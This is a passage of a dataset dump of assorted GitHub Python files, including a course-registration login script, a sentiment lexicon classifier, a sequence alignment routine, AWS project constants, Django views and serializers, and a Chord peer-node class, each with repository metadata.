requests.Session()\n data = {\n 'userName': Config.username,\n 'pwd': Config.password,\n 'sb': 'sb'\n }\n print(get_cur_time(), \"正在登录主页\")\n r_sep_slogin = session.post(Course.url_login, data=data)\n soup = BeautifulSoup(r_sep_slogin.text, features=\"html.parser\")\n title = soup.find(\"li\", title=\"当前用户所在单位\")\n if title:\n name = title.text\n name = name.strip()[-3:]\n print(get_cur_time(), \"用户【\" + name + \"】登录成功\")\n else:\n print(get_cur_time(), \"登录失败\")\n sys.exit(-1)\n return session\n\n\ndef main():\n login_session = login()\n pick_session = open_pick_page(login_session)\n while True:\n pick_course(pick_session)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"idejie/Scripts","sub_path":"ucas_picker.py","file_name":"ucas_picker.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"33413266832","text":"# The following code is adapted from: https://github.com/QuantLet/TXT/tree/master/TXTfpblexical\n# Minor edits where applied\n\n\"\"\"This module classifies sentiment for BL and LM lexicon.\"\"\"\n# Please download the Financial Phrase Bank by\n# Malo, Pekka and Sinha, Ankur and Korhonen, Pekka and Wallenius, Jyrki and\n# Takala, Pyry\n# \"Good debt or bad debt\"\n# Journal of the Association for Information Science and Technology, 2014\n\n# https://www.researchgate.net/publication/251231364_FinancialPhraseBank-v10\nimport io\nimport pandas as pd\n\n# functions\ndef tokenize(txt):\n \"\"\"Simple white space tokenizer.\"\"\"\n return txt.split()\n\n\ndef scores(row):\n \"\"\"Change sentiment groups to numeric values.\"\"\"\n if row[\"cla\"] == \"neutral\":\n val = 0\n elif row[\"cla\"] == \"positive\":\n val = 1\n else:\n val = -1\n\n return val\n\n\ndef accuracy(pred, actual):\n \"\"\"Compute model accuracy.\"\"\"\n return sum(pred == actual) / len(pred)\n\n\ndef subsample(df, n, seed):\n \"\"\"Create subsample with oversampling.\"\"\"\n con = df[\"sentiment\"] == 0\n df2 = df.loc[con].sample(n, replace = True, random_state = seed)\n\n con = df[\"sentiment\"] == 1\n df2 = df2.append(df.loc[con].sample(n, replace = True, random_state = seed))\n\n con = df[\"sentiment\"] == -1\n df2 = df2.append(df.loc[con].sample(n, replace = True, random_state = seed))\n return df2\n\n\n# lexical based\ndef wordcount(words, dct):\n \"\"\"Count words in dictionary.\"\"\"\n from collections import Counter\n\n counting = Counter(words)\n count = []\n\n for key, value in counting.items():\n if key in dct:\n count.append([key, value])\n\n return count\n\n\ndef negwordcount(words, dct, negdct, lngram):\n \"\"\"Count negated words in dictionary.\"\"\"\n from nltk.util import ngrams\n\n mid = int(lngram / 2)\n ng = ngrams(words, lngram)\n nglist = []\n\n for grams in ng:\n nglist.append(grams)\n\n keeper = []\n n = len(nglist)\n i = 1\n for grams in nglist:\n if n - i < int(lngram / 2):\n mid = mid + 1\n\n if grams[mid] in dct:\n for j in grams:\n if j in negdct:\n keeper.append(grams[mid])\n break\n\n i = i + 1\n\n count = wordcount(keeper, dct)\n\n return count\n\n\ndef findneg(word, wcneg):\n \"\"\"Find negation word.\"\"\"\n keywordneg = 0\n\n for j in range(0, len(wcneg)):\n if word in wcneg[j][0]:\n keywordneg = wcneg[j][1]\n break\n\n return keywordneg\n\n\ndef lexcnt(txt, pos_dct, neg_dct, negat_dct, lngram):\n \"\"\"Count words and negated words in dictionary.\"\"\"\n from nltk import word_tokenize\n txt = word_tokenize(txt)\n # Count words in lexicon\n pos_wc = wordcount(txt, pos_dct)\n pos_wc = [cnt[1] for cnt in pos_wc]\n pos_wc = sum(pos_wc)\n\n neg_wc = wordcount(txt, neg_dct)\n neg_wc = [cnt[1] for cnt in neg_wc]\n neg_wc = sum(neg_wc)\n\n # Count negated words in lexicon\n pos_wcneg = negwordcount(txt, pos_dct, negat_dct, lngram)\n pos_wcneg = [cnt[1] for cnt in pos_wcneg]\n pos_wcneg = sum(pos_wcneg)\n\n neg_wcneg = negwordcount(txt, neg_dct, negat_dct, lngram)\n neg_wcneg = [cnt[1] for cnt in neg_wcneg]\n neg_wcneg = sum(neg_wcneg)\n\n pos = pos_wc - (pos_wcneg) + neg_wcneg\n neg = neg_wc - (neg_wcneg) + pos_wcneg\n\n if pos > neg: \n out = [0,0,1]\n elif pos < neg:\n out = [1,0,0]\n else:\n out = [0,1,0]\n return out\n\n\n# read data\ndef predict_sentences(data, path):\n sentences = data['text']\n \n negat_dct = [\"n't\", \"not\", \"never\", \"no\", \"neither\", \"nor\", \"none\"]\n lngram = 7\n\n neg_dct = \"\"\n with io.open(path+'lexicon/lexica/'+'bl_negative.csv', \"r\", encoding = \"utf-8\", errors = \"ignore\") as infile:\n for line in infile:\n neg_dct = neg_dct + line\n\n neg_dct = neg_dct.split(\"\\n\")\n neg_dct = [e.lower() for e in neg_dct]\n\n\n # positive dictionary (BL)\n pos_dct = \"\"\n with io.open(path+'lexicon/lexica/'+\"bl_positive.csv\", \"r\", encoding=\"utf-8\", errors=\"ignore\") as infile:\n for line in infile:\n pos_dct = pos_dct + line\n\n pos_dct = pos_dct.split(\"\\n\")\n pos_dct = [e.lower() for e in pos_dct]\n\n pred2 = [lexcnt(s, pos_dct, neg_dct, negat_dct, lngram) for s in sentences]\n pred2 = pd.DataFrame(pred2)\n\n res = pd.concat([data, pred2],axis=1)\n res.columns = ['idx', 'article_time', 'text', 'neg', 'neut', 'pos']\n return res\n","repo_name":"eliasbaumann/BERT_stock_forecasting","sub_path":"Data/lexicon/TXTfpblexical.py","file_name":"TXTfpblexical.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"78"} +{"seq_id":"16126245391","text":"def global_alignment(match, mismatch, indel, target, pattern):\n I = len(pattern)\n J = len(target)\n\n dp = [ [0] * (J+1) for _ in range(I+1)]\n\n track = [ [0] * (J+1) for _ in range(I+1) ]\n\n for i in range(1, I+1):\n dp[i][0] = dp[i-1][0] - indel\n track[i][0] = 2\n\n for j in range(1, J+1):\n dp[0][j] = dp[0][j-1] - indel\n track[i][0] = 0\n\n for i in range(1, I+1):\n for j in range(1, J+1):\n down = dp[i-1][j] - indel\n right = dp[i][j-1] - indel\n diag = dp[i-1][j-1] + match if pattern[i-1] == target[j-1] else dp[i-1][j-1] - mismatch\n\n dp[i][j] = max(down, right, diag)\n if down >= right and down >= diag:\n track[i][j] = 2\n elif right >= down and right >= diag:\n track[i][j] = 0\n elif diag >= down and diag >= right:\n track[i][j] = 1\n else:\n print(\"error\")\n exit()\n \n i = I\n j = J\n res_pattern = []\n res_target = []\n\n while True:\n if i == 0 and j == 0:\n break\n\n if track[i][j] == 2:\n i -= 1\n res_target.append('-')\n res_pattern.append(pattern[i])\n elif track[i][j] == 0:\n j -= 1\n res_pattern.append('-')\n res_target.append(target[j])\n else:\n i -= 1\n j -= 1\n res_pattern.append(pattern[i])\n res_target.append(target[j])\n\n res_pattern.reverse()\n res_target.reverse()\n\n return [dp[I][J], \"\".join(res_target), \"\".join(res_pattern)]\n \n\nfn = \"dataset_247_3.txt\"\nf = open(f\"./data/{fn}\", 'r')\nmatch, mismatch, indel = map(int, f.readline().strip().split())\ntarget = f.readline().strip()\npattern = f.readline().strip()\n[score, res1, res2] = global_alignment(match, mismatch, indel, target, pattern)\nprint(score)\nprint(res1)\nprint(res2)\n\n#GAGA\n#GAT\n# A-","repo_name":"yeojingi/comparing-genes-proteins-genomes","sub_path":"week2/lecture2/GlobalAlignment.py","file_name":"GlobalAlignment.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8216776582","text":"# DO NOT CHANGE VALUES FOR THIS FILE\n# EVEN OUTSIDE THIS FILE !!!!\n\nREQUEST_QUEUE_NAME = 'requests_sss.fifo'\nRESPONSE_QUEUE_NAME = 'response_sss.fifo'\n\nMAX_RETRIES = 12\n\nBUCKET_NAME = 'sss-cloud-bucket'\n\nAPP_TIER_PREFIX = 'sss_app_tier_'\n\nKEY_NAME = 'aws-kp-1'\n\nSECURITY_GROUP_ID = 'sg-0c3a65f539fa2240a'\n\n# replace this with custom ami with app tier logic!!\nAMI_IMAGE_ID = 'ami-0f6827b34fafee7ec'\nOG_AMI_IMAGE_ID = 'ami-0ee8cf7b8a34448a6'\n\nMIN_APP_TIERS = 0\nMAX_APP_TIERS = 19\n\nUPLOAD_FOLDER = './uploads/'\n\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\nSECRET_KEY = 'SECRET!!!'\n\nS3_OUTPUT_FOLDER = 'OUTPUT/'\nS3_INPUT_FOLDER = 'INPUT/'\n\nVISIBLE_MESSAGES = 'ApproximateNumberOfMessages'\nINVISIBLE_MESSAGES = 'ApproximateNumberOfMessagesNotVisible'\n\nQUEUE_ATTRIBUTES = {\n 'FifoQueue': 'true',\n 'ReceiveMessageWaitTimeSeconds': '5',\n 'VisibilityTimeout': '30',\n 'ContentBasedDeduplication': 'true'\n}\n\nUSERDATA = '''#!/bin/bash\n/usr/bin/python3 /home/ubuntu/cloud_project/cloud_iaas_project/apptier.py'''\n\nINSTANCE_PROFILE = {\n 'Arn':'arn:aws:iam::115873875546:instance-profile/EC2_FA_Role',\n}","repo_name":"ssahare-hub/auto-scaling-image-classifier","sub_path":"cloud_iaas_project/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22779026889","text":"# WARNING: only run this file to create and fill the tables\nimport csv\n\nfrom sqlalchemy import create_engine, inspect\nfrom sqlalchemy.orm import sessionmaker, scoped_session\n\n# Replace With your URI\nengine = create_engine(\"YOUR DATABASE URI\")\n\ndb = scoped_session(sessionmaker(bind=engine))\n\ndef create_table():\n # Creating the required tables\n db.execute(\"CREATE TABLE users(username VARCHAR PRIMARY KEY, password VARCHAR NOT NULL, UNIQUE(username))\")\n db.execute(\"CREATE TABLE books(isbn VARCHAR PRIMARY KEY, title VARCHAR NOT NULL, author VARCHAR NOT NULL, year INTEGER NOT NULL, UNIQUE(isbn))\")\n db.execute(\"CREATE TABLE reviews(id SERIAL PRIMARY KEY, rate INTEGER NOT NULL, comment VARCHAR, user_name VARCHAR REFERENCES users, book_isbn VARCHAR REFERENCES books)\")\n db.commit()\n\n\ndef main():\n books_csv = open(\"books.csv\")\n reader = csv.reader(books_csv)\n # check if the Database is empty.\n is_empty = len(inspect(engine).get_table_names()) == 0\n\n # if empty create the tables.\n if is_empty:\n print(\"creating the required tables.\")\n create_table()\n\n # loop through the csv file and add the the books\n # the books table\n for isbn,title,author,year in reader:\n print(year)\n db.execute(\"INSERT INTO books (isbn, title, author, year) VALUES(:isbn, :title, :author, :year)\",\n {\"isbn\": isbn, \"title\": title, \"author\": author, \"year\": int(year)})\n print(f\"the book {title} by {author} published {year} with isbn:{isbn} was added.\")\n db.commit()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"aymansubbagh/wordsOfTheUndead","sub_path":"import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16042930644","text":"from __future__ import unicode_literals, print_function\nimport pandas as pd\n\n\nclass Data(object):\n \"\"\" This class is the parent data class. \"\"\"\n\n def __init__(self, df):\n \"\"\"\n Constructs a new Data object\n\n :param df: A Pandas dataframe\n :type df: pandas.core.frame.DataFrame\n :return: Returns nothing\n \"\"\"\n self.df = df\n # Create labels column\n self.df['labels'] = 'Neither'\n self.df.loc[self.df['A-coref'] == True, 'labels'] = 'A'\n self.df.loc[self.df['B-coref'] == True, 'labels'] = 'B'\n\n @property\n def sample_count(self):\n \"\"\"\n Get number of samples in dataset.\n\n :return: Numer of rows in dataframe\n :rtype: int\n \"\"\"\n return self.df.shape[0]\n\n @property\n def feature_names(self):\n \"\"\"\n Get names of features.\n\n :return: List of column names in a Pandas dataframe\n :rtype: numpy.ndarray\n \"\"\"\n return self.df.columns.values\n\n def column_value_counts(self, target_column, new_column):\n \"\"\"\n Get value counts of each categorical variable. Store this data in\n a dataframe. Also add a column with relative percentage of each\n categorical variable.\n\n :param target_column: Name of the column in the original dataframe\n (string)\n :param new_column: Name of the new column where the frequency\n counts are stored\n :type target_column: str\n :type new_column: str\n :return: A Pandas dataframe containing the frequency counts\n :rtype: pandas.core.frame.DataFrame\n \"\"\"\n df_value_counts = self.df[target_column].value_counts()\n df = pd.DataFrame(df_value_counts)\n df.columns = [new_column]\n df[new_column+'_%'] = 100*df[new_column] \\\n / df[new_column].sum()\n return df\n\n def column_summary(self, target_column, new_column):\n \"\"\"\n Compute column summary and return as a dataframe.\n\n :param target_column: Name of the column in the original dataframe\n (string)\n :param new_column: Name of the new column where the frequency counts\n are stored\n :type target_column: str\n :type new_column: str\n :return: A Pandas dataframe containing the summary\n :rtype: pandas.core.frame.DataFrame\n \"\"\"\n temp = pd.DataFrame(self.df[target_column].describe())\n temp.columns = [new_column]\n temp = temp.round(2)\n return temp\n","repo_name":"manojps/gap-code","sub_path":"dataprocessor/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30451765068","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'advance'\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^register/$', views.register, name='register'),\n url(r'^login/$', views.user_login, name='user_login'),\n url(r'^logout/$', views.user_logout, name='user_logout'),\n url(r'^add_item/$', views.add_item, name='add_item'),\n url(r'list/$', views.list, name='list'),\n url(r'^(?P<pk>[0-9]+)/item/$', views.item_detail, name='item_detail'),\n url(r'^(?P<pk>[0-9]+)/to_done/$', views.to_done, name='to_done'),\n url(r'^(?P<pk>[0-9]+)/not_done/$', views.not_done, name='not_done'),\n url(r'^(?P<pk>[0-9]+)/to_delete/$', views.to_delete, name='to_delete'),\n url(r'^(?P<pk>[0-9]+)/update_item/$', views.update_item, name='update_item'),\n]\n","repo_name":"fank-cd/python-django_todolist","sub_path":"advance/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26501516144","text":"import itertools\n\npostOffice = (0, 2)\ngriboedovStreet = (2, 5)\nbakerStreet = (5, 2)\nboishayaSadovayaStreet = (6, 6)\nevergreenAlley = (8, 3)\n\ndef getRoute(pointX, pointY):\n result = ((pointY[0] - pointX[0]) ** 2 + (pointY[1] - pointX[1]) ** 2) ** 0.5\n return result\n\npoints = [postOffice, griboedovStreet, bakerStreet, boishayaSadovayaStreet, evergreenAlley]\narray = list(itertools.permutations(points[1:]))\ncurrent = points[0]\nminimum = 100\n\nfor item in array:\n result = {}\n route = 0\n item = list(item)\n item.insert(0, current)\n \n for i in range(1, len(item)):\n route = route + getRoute(item[i - 1], item[i])\n result[item[i]] = route\n \n route = route + getRoute(current, item[i])\n result[current] = route\n \n if route < minimum:\n minimum_result = result\n minimum = route\n\nprint(current, end=' ')\n\nfor a, b in minimum_result.items():\n print(f'-> {a}[{b}]', end=' ')\n\nprint('=', minimum_result[current])","repo_name":"Aleksandrov-AA/Y_Lab-Python-intern","sub_path":"HomeWork-2/task-1 (the shortest path).py","file_name":"task-1 (the shortest path).py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39031353288","text":"from itertools import permutations as perm\n\n\ndef solution(numbers):\n def isPrime(n):\n if n == 0 or n == 1:\n return False\n else:\n for i in range(2, int(n**0.5)+1):\n if n % i == 0:\n return False\n\n return True\n\n answer = []\n\n for i in range(1, len(numbers)+1):\n arr = list(perm(numbers, i))\n for j in range(len(arr)):\n num = int(''.join(map(str, arr[j])))\n if isPrime(num):\n answer.append(num)\n\n answer = list(set(answer))\n return len(answer)\n\n\nnumbers = \"17\"\nprint(solution(numbers))\n","repo_name":"yoseph0310/Algorithm_Python","sub_path":"Programmers/Level 2/소수 찾기.py","file_name":"소수 찾기.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38705615812","text":"import os\nimport codecs\nimport yaml\n\n\nclass Settings:\n def __init__(self, **default_settings):\n self._DATA_PATH = 'data/bot/'\n self._SETTINGS_PATH = self._DATA_PATH + 'settings.yaml'\n\n self.default_prefix = default_settings['prefix']\n self.default_mod = default_settings['moderator role']\n\n if not os.path.exists(self._DATA_PATH):\n os.makedirs(self._DATA_PATH)\n\n if not os.path.isfile(self._SETTINGS_PATH):\n with codecs.open(self._SETTINGS_PATH, 'w+', encoding='utf8') as f:\n yaml.dump({}, f, indent=4)\n\n with codecs.open(self._SETTINGS_PATH, 'r', encoding='utf8') as f:\n self.settings = yaml.load(f)\n\n def _set(self, d, keys, val):\n key = keys[0]\n if len(keys) == 1:\n if val is None:\n try:\n d.pop(key)\n except:\n pass\n else:\n d[key] = val\n return\n if key in d.keys():\n if not isinstance(d[key], dict):\n d[key] = {}\n self._set(d[key], keys[1:], val)\n else:\n d[key] = {}\n self._set(d[key], keys[1:], val)\n\n def _get(self, d, keys):\n key = keys[0]\n try:\n if len(keys) > 1 and isinstance(d[key], dict):\n return self._get(d[key], keys[1:])\n else:\n return d[key]\n except KeyError:\n return None\n\n def set(self, guild, setting, value):\n \"\"\" Set value in settings, will overwrite any existing values. \"\"\"\n guild_id = str(guild.id)\n\n if guild_id not in self.settings.keys():\n self.settings[guild_id] = {}\n\n self.settings[guild_id]['_servername'] = guild.name\n self._set(self.settings[guild_id], setting.split('.'), value)\n\n with codecs.open(self._SETTINGS_PATH, 'w', encoding='utf8') as f:\n yaml.dump(self.settings, f, indent=2)\n\n def get(self, guild, setting, default=''):\n \"\"\" Gets a value from the settings if a default return value is specified\n it will return the default if no setting is found. If that default is a\n class attribute the value of the attribute will get returned.\"\"\"\n guild_id = str(guild.id)\n\n if default and isinstance(default, str) and hasattr(self, default):\n default = getattr(self, default)\n elif not default:\n default = None\n\n if guild_id not in self.settings.keys():\n return default\n\n value = self._get(self.settings[guild_id], setting.split('.'))\n if value is not None:\n return value\n else:\n return default\n","repo_name":"r-Norge/MovieNightBot","sub_path":"cogs/utils/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27741143525","text":"\"\"\" Defines the binding layer between local and remote peers.\n\nThe process on which the peer is running has a local peer instance, and all of\nits peers are remote instances -- these correspond to the respective local\ninstances on either another machine or a different local process.\n\"\"\"\n\nimport time\nimport select\nimport socket\n\nfrom ..chordlib import commlib\nfrom ..chordlib import chordnode, L\nfrom ..chordlib import peersocket\nfrom ..chordlib import routing\nfrom ..packetlib import chord as chordpkt\n\n\nclass RemoteNode(chordnode.ChordNode):\n \"\"\" Represents a remote peer in the Chord ring.\n\n We establish a way to connect to a remote peer, and track some properties\n about it, such as whether or not it can be considered \"alive.\"\n \"\"\"\n\n PEER_TIMEOUT = 30\n\n def __init__(self, on_send, node_hash, listener_addr, existing_socket=None):\n \"\"\" Establishes a connection to a remote node.\n\n If `existing_socket` exists, there is no connection initiated.\n\n :node_hash the hash of the remote node\n :listener_addr the listener address on the remote node\n :existing_socket[=None] is there already an established connection?\n \"\"\"\n if not isinstance(listener_addr, tuple):\n raise TypeError(\"Must join ring via address pair, got %s!\" % (\n listener_addr))\n\n if existing_socket is not None:\n s = existing_socket\n if not isinstance(existing_socket, peersocket.PeerSocket):\n raise\n else:\n s = peersocket.PeerSocket(on_send=on_send)\n s.connect(listener_addr)\n L.debug(\"Socket handle: %d\", s.fileno())\n\n if node_hash is None: # not set for peer on first join\n h = routing.Hash(value=\"notset\")\n else:\n h = routing.Hash(hashed=node_hash)\n\n self.peer_sock = s\n self.last_msg = time.time()\n self.timeout = RemoteNode.PEER_TIMEOUT\n\n super(RemoteNode, self).__init__(h, listener_addr)\n L.info(\"Created a remote peer with hash %d on %s:%d.\",\n self.hash, self.chord_addr[0], self.chord_addr[1])\n\n def __str__(self):\n if self:\n remote = self.peer_sock.remote\n else:\n remote = (\"0\", 0)\n return \"[%s<-remote@%s:%d(%s)->%s]\" % (\n str(int(self.predecessor.hash))[:6] if self.predecessor else None,\n remote[0], remote[1], self.compact,\n str(int(self.successor.hash))[:6] if self.successor else None)\n\n @property\n def is_valid(self):\n return self.peer_sock.valid\n\n @property\n def is_alive(self):\n \"\"\" Alive: received a PONG within the last `PEER_TIMEOUT` seconds.\n \"\"\"\n return self.last_msg + self.timeout >= time.time()\n","repo_name":"Shaptic/Cicada","sub_path":"cicada/chordlib/remotenode.py","file_name":"remotenode.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"35850549342","text":"import numpy as np\nfrom os.path import join as pjoin\nfrom pathlib import Path\n\nimport torch\n\nfrom isaacgym import gymtorch\nfrom .base_task import BaseTask\nfrom .utils.get_running_bbox import get_bbox_isaac_tensor, _draw_bbox_tensor\n\n\nclass OpenMicrowaveDoor(BaseTask):\n def __init__(\n self,\n env,\n active_env_state\n ):\n super().__init__(\n env=env,\n active_env_state=active_env_state\n ) \n\n # Boilerplate code to set the initial state of the environment, not needed while\n # generating tasks with LLM. \n\n self.env.initial_dof_states = self.env.dof_state_tensor_all.clone()\n self.env.initial_dof_states = self.env.initial_dof_states.view(\n self.env.env_num, \n self.env.franka_num_dofs+self.env.cabinet_dof_num+self.env.static_asset_dof_num,\n self.env.initial_dof_states.shape[-1]\n )\n\n # Set initial state as closed\n self.env.initial_dof_states[:, self.env.franka_num_dofs+self.env.part_dof_id, 0] = 0.0\n self.env.gym.set_dof_state_tensor(self.env.sim, gymtorch.unwrap_tensor(self.env.initial_dof_states))\n self.env.gym.refresh_actor_root_state_tensor(self.env.sim)\n self.env.gym.refresh_dof_state_tensor(self.env.sim)\n self.env.gym.refresh_rigid_body_state_tensor(self.env.sim)\n\n # initialise robot close to the asset for faster convergence. \n self.env.cabinet_dof_tensor = self.env.dof_state_tensor_used[:, self.env.franka_num_dofs + self.env.part_dof_id, :]\n part_bbox_tensor, handle_bbox_tensor = get_bbox_isaac_tensor(self.env, self.env.cabinet_dof_tensor[:,0], 0)\n handle_center_xy = handle_bbox_tensor.mean(1)[:, :2]\n\n self.env.rigid_body_tensor_all = gymtorch.wrap_tensor(self.env.gym.acquire_rigid_body_state_tensor(self.env.sim))\n self.env.rigid_body_tensor_used = self.env.rigid_body_tensor_all.reshape([self.env.env_num, self.env.franka_rigid_num+self.env.cabinet_rigid_num+self.env.static_asset_rigid_num+self.env.distractor_rig_num+self.env.distractor_1_rig_num, self.env.rigid_body_tensor_all.shape[-1]])\n self.env.hand_rigid_body_tensor = self.env.rigid_body_tensor_used[:, self.env.hand_rigid_body_index, :] # N*13\n current_gripper_position = self.env.get_robot_gripper_position()\n\n self.env.initial_dof_states.view([self.env.env_num, self.env.franka_num_dofs+self.env.cabinet_dof_num, self.env.dof_state_tensor_all.shape[-1]])[:, 0, 0] -= handle_center_xy[:, 0] - current_gripper_position[:, 0] + 0.4\n self.env.initial_dof_states.view([self.env.env_num, self.env.franka_num_dofs+self.env.cabinet_dof_num, self.env.dof_state_tensor_all.shape[-1]])[:, 1, 0] -= handle_center_xy[:, 1] - current_gripper_position[:, 1]\n\n self.env.gym.set_dof_state_tensor(self.env.sim, gymtorch.unwrap_tensor(self.env.initial_dof_states))\n self.env.gym.refresh_actor_root_state_tensor(self.env.sim)\n self.env.gym.refresh_dof_state_tensor(self.env.sim)\n self.env.gym.refresh_rigid_body_state_tensor(self.env.sim)\n\n def compute_reward(self):\n current_handle_position = self.env.get_position_by_link_name()\n current_gripper_position = self.env.get_robot_gripper_position()\n distance_gripper_to_handle = torch.norm(current_gripper_position - current_handle_position, dim=-1)\n current_door_state = self.env.get_state_by_link_name()\n\n reward = - distance_gripper_to_handle + current_door_state\n\n target_door_state = self.env.get_limits_by_joint_name()[\"upper\"]\n\n success = torch.abs((target_door_state - current_door_state)) < 0.1\n\n # For logging\n self.extras[\"target_state\"] = target_door_state\n self.extras[\"achieved_state\"] = current_door_state \n\n return reward, success\n\n\nclass CloseMicrowaveDoor(BaseTask):\n def __init__(\n self,\n env,\n active_env_state\n ):\n super().__init__(\n env=env,\n active_env_state=active_env_state,\n )\n\n self.part_target_state = self.env.cabinet_target_joint_lower_limits_tensor.clone()\n\n def compute_reward(self):\n # Parse Door Handle Position\n current_handle_position = self.env.get_position_by_link_name()\n\n # Parse Current Robot Gripper Position\n current_gripper_position = self.env.get_robot_gripper_position()\n\n # Estimate the distance between the Robot Gripper and the Door handle\n distance_gripper_to_handle = torch.norm(current_gripper_position - current_handle_position, dim=-1)\n\n # Parse Current Door State\n current_door_state = self.env.get_state_by_link_name()\n\n # Parse Target Door State\n #target_door_state = self.get_joint_upper_limit_by_part_id(self.door_part_id)\n\n # Estimate the distance between the target door state and the current door state\n distance_current_to_target = current_door_state\n\n # The cost is the sum of the distance of the gripper to the handle and\n # the distance of the current door state to the target door state\n cost = distance_gripper_to_handle + distance_current_to_target\n\n # The reward is the negative of the cost\n reward = -cost\n\n self.extras[\"target_state\"] = self.part_target_state.view(1, -1)\n self.extras[\"achieved_state\"] = self.env.cabinet_dof_tensor_spec[:, :, 0].view(-1)\n\n diff_from_success = torch.abs((self.part_target_state.view(1, -1) - self.env.cabinet_dof_tensor_spec[:, :, 0]).view(-1))\n success = (diff_from_success < 0.1)\n\n return reward, success\n","repo_name":"pushkalkatara/Gen2Sim","sub_path":"gym/envs/gpt_task.py","file_name":"gpt_task.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"37094521010","text":"# Getting necessary header and footer data\nheader_file = open(\"page_bases/header.html\", \"r\")\nheader_data = header_file.read()\nheader_file.close()\n\nfooter_file = open(\"page_bases/footer.html\", \"r\")\nfooter_data = footer_file.read()\nfooter_file.close()\n\ntry:\n # Getting file contents\n index_file = open(\"page_bases/index.html\", \"r\")\n index_data = index_file.read()\n index_file.close()\n\n # Adding header and footer\n index_data = index_data.replace(\"<!-- Heading section -->\", header_data)\n index_data = index_data.replace(\"<!-- Footer section -->\", footer_data)\n\n # Generating file\n index_file = open(\"page_gens/index.html\", \"w\")\n index_file.write(index_data)\n index_file.close()\nexcept FileNotFoundError:\n print(\"Could not find index page base.\")\n\ntry:\n # Getting file contents\n projects_file = open(\"page_bases/projects.html\", \"r\")\n projects_data = projects_file.read()\n projects_file.close()\n\n # Adding header and footer\n projects_data = projects_data.replace(\"<!-- Heading section -->\", header_data)\n projects_data = projects_data.replace(\"<!-- Footer section -->\", footer_data)\n\n # Generating file\n projects_file = open(\"page_gens/projects.html\", \"w\")\n projects_file.write(projects_data)\n projects_file.close()\nexcept FileNotFoundError:\n print(\"Could not find projects page base.\")\n\ntry:\n # Getting file contents\n contact_file = open(\"page_bases/contact.html\", \"r\")\n contact_data = contact_file.read()\n contact_file.close()\n\n # Adding header and footer\n contact_data = contact_data.replace(\"<!-- Heading section -->\", header_data)\n contact_data = contact_data.replace(\"<!-- Footer section -->\", footer_data)\n\n # Generating file\n contact_file = open(\"page_gens/contact.html\", \"w\")\n contact_file.write(contact_data)\n contact_file.close()\nexcept FileNotFoundError:\n print(\"Could not find contact page base.\")\n","repo_name":"Matt-Wild/Matt-Wild.github.io","sub_path":"gen_pages.py","file_name":"gen_pages.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31215200514","text":"from rest_framework import serializers\nfrom watchlist_app.models import Movie, Watchlist, StreamPlatform, Review\n\n\n\"\"\" \n# validation (for serializers)\ndef name_length(value):\n if len(value) < 3:\n raise serializers.ValidationError(\"Name is too short\")\n\n\nclass MovieSerializers(serializers.Serializer):\n\n # For get\n id = serializers.IntegerField(read_only=True)\n name = serializers.CharField(validators = [name_length])\n description = serializers.CharField()\n active = serializers.BooleanField()\n\n # For post\n def create(self, validated_data):\n return Movie.objects.create(**validated_data)\n \n # For put\n def update(self, instance, validated_data):\n instance.name = validated_data.get('name', instance.name)\n instance.description = validated_data.get('description', instance.description)\n instance.active = validated_data.get('active', instance.active)\n instance.save()\n return instance\n\n '''\n # Field level validation for name\n def validate_name(self, value):\n\n if len(value) < 3:\n raise serializers.ValidationError(\"Name is too short\")\n else:\n return value\n \n # Field level validation for description\n def validate_description(self, value):\n\n if len(value) < 3:\n raise serializers.ValidationError(\"Description is too short\")\n else:\n return value\n\n '''\n # Object level validation \n def validate(self, data):\n if data['name'] == data['description']:\n raise serializers.ValidationError(\"Description and Name Should not be same\")\n else:\n return data\n\"\"\" \n\nclass MovieSerializers(serializers.ModelSerializer):\n\n len_name = serializers.SerializerMethodField()\n\n class Meta:\n model = Movie\n fields = \"__all__\"\n # fields = ['id', 'name', 'description']\n # exclude = ['active']\n # exclude = ['description']\n\n def get_len_name(self, object):\n length = len(object.name)\n return length\n\n # Field level validation for name\n def validate_name(self, value):\n\n if len(value) < 3:\n raise serializers.ValidationError(\"Name is too short\")\n else:\n return value\n \n # Field level validation for description\n def validate_description(self, value):\n\n if len(value) < 3:\n raise serializers.ValidationError(\"Description is too short\")\n else:\n return value\n \n # Object level validation \n def validate(self, data):\n if data['name'] == data['description']:\n raise serializers.ValidationError(\"Description and Name Should not be same\")\n 